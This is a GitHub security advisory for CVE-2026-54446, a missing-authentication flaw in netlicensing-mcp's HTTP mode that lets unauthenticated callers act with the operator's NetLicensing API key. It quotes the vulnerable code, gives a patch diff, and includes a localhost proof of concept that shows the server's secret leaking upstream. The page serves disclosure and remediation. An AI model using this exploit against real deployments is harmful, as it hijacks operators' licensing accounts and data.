GitHub Advisoryadvisory · PyPI

GHSA-x9vc-9ffq-p3gj NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

HIGH Published 2026-07-14 Modified 2026-07-14 Official page ↗
Aliases
CVE-2026-54446
Ecosystem
PyPI
Packages
netlicensing-mcp
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-306
Reviewed
2026-07-14

Affected packages

• PyPI netlicensing-mcp: < 0.1.6 → fixed in 0.1.6

Description

Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode Summary When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: 8.1 (High). Details The HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream. The downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv("NETLICENSING_API_KEY", "")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62–70`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`). The complete exploitable data flow is: | Step | Location | Description | |------|----------|-------------| | 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` | | 2 | `server.py:1431` | `ApiKeyMiddleware` registered | | 3 | `server.py:1412–1419` | Middleware attempts (optional) key extraction from headers/query | | 4 | `server.py:1427` | Auth bypass sink: missing key → `return await call_next(request)` | | 5 | `server.py:155–163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) | | 6 | `tools/products.py:9,17` | Tool delegates to `nl_get("/product", ...)` | | 7 | `client.py:30` | Source: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var | | 8 | `client.py:62–70` | `Authorization: Basic base64("apiKey:")` constructed | | 9 | `client.py:105,109` | Upstream sink: `client.get(url, headers=_headers(), ...)` executed | Critical code excerpts: ```python src/netlicensing_mcp/server.py 1418: if not key: 1419: key = request.query_params.get("apikey") 1421: if key: 1422: token = api_key_ctx.set(key) ... 1427: return await call_next(request) # <-- no rejection when key is absent ``` ```python src/netlicensing_mcp/client.py 30: "api_key", default=os.getenv("NETLICENSING_API_KEY", "") # server-side fallback ... 64: auth_str = f"apiKey:{api_key}" 70: "Authorization": f"Basic {token}", ... 109: r = await client.get(url, headers=_headers(), params=params or {}) ``` The README (`README.md:90–94`) documents the HTTP mode deployment pattern with `-e NETLICENSING_API_KEY=your_key` as a first-class production deployment option, including AWS App Runner / ELB examples (`README.md:310–318`). The per-client key recommendation (`README.md:318`) is advisory only and is not technically enforced. A suggested patch replaces the unconditional pass-through with a `401` rejection: ```diff --- a/src/netlicensing_mcp/server.py +++ b/src/netlicensing_mcp/server.py @@ class ApiKeyMiddleware(BaseHTTPMiddleware): async def dispatch(self, request: Request, call_next): + if request.url.path == "/health": + return await call_next(request) + key = request.headers.get("x-netlicensing-api-key") if not key: auth = request.headers.get("authorization") if auth and auth.lower().startswith("bearer "): key = auth[7:] @@ return await call_next(request) finally: api_key_ctx.reset(token) • return await call_next(request) + return JSONResponse( + {"error": "NetLicensing API key is required for HTTP transport"}, + status_code=401, + ) ``` PoC Environment requirements: • Docker (or Python 3.12 with `netlicensing-mcp==0.1.5` and `mcp` client installed) • Target commit: `ef0080c2aebbf4dfbce93a959dd7c1471103c05a` Self-contained Docker reproduction (all-in-one): ``` Build the image from the repository root docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing . Run the PoC — exits 0 on confirmed exploit docker run --rm --network=host vuln-001-netlicensing ``` Manual step-by-step reproduction: ``` Terminal 1 — mock upstream NetLicensing REST API python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json class H(BaseHTTPRequestHandler): def do_GET(self): print("MOCK_REQUEST", self.command, self.path, self.headers.get("Authorization"), flush=True) self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(json.dumps({"items": {"item": []}}).encode()) def log_message(self, *args): pass HTTPServer(("127.0.0.1", 19090), H).serve_forever() PY Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key NETLICENSING_API_KEY=SERVERSECRET \ NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \ MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \ python3 -m netlicensing_mcp.server http Terminal 3 — attacker: connect with NO API key and invoke a tool python3 - <<'PY' import asyncio from mcp import ClientSession from mcp.client.streamable_http import streamablehttp_client async def main(): async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _): async with ClientSession(read, write) as session: await session.initialize() print(await session.call_tool("netlicensing_list_products", {"filter": ""})) asyncio.run(main()) PY ``` Expected output in Terminal 1: ``` MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA== ``` Decoding the Base64 credential confirms the operator's secret was used: ``` $ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d apiKey:SERVERSECRET ``` Observed evidence from dynamic reproduction (Phase 2): ``` [MOCK_UPSTREAM] GET /core/v2/rest/product Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA== Decoded: apiKey:SERVERSECRET [EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API. CWE-306 / VULN-001 reproduced. ``` Impact This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account. Concrete consequences include: • Confidentiality: enumeration of all products, licenses, licensees, and transactions associated with the operator's account. • Integrity: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations. • Availability: bulk deletion of products, licenses, or licen…

Related

Alias · CVE (1)

  • CVE-2026-54446 NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in… vulnerability

Weakness · CWE (1)

  • CWE-306 Missing Authentication for Critical Functionality weakness

References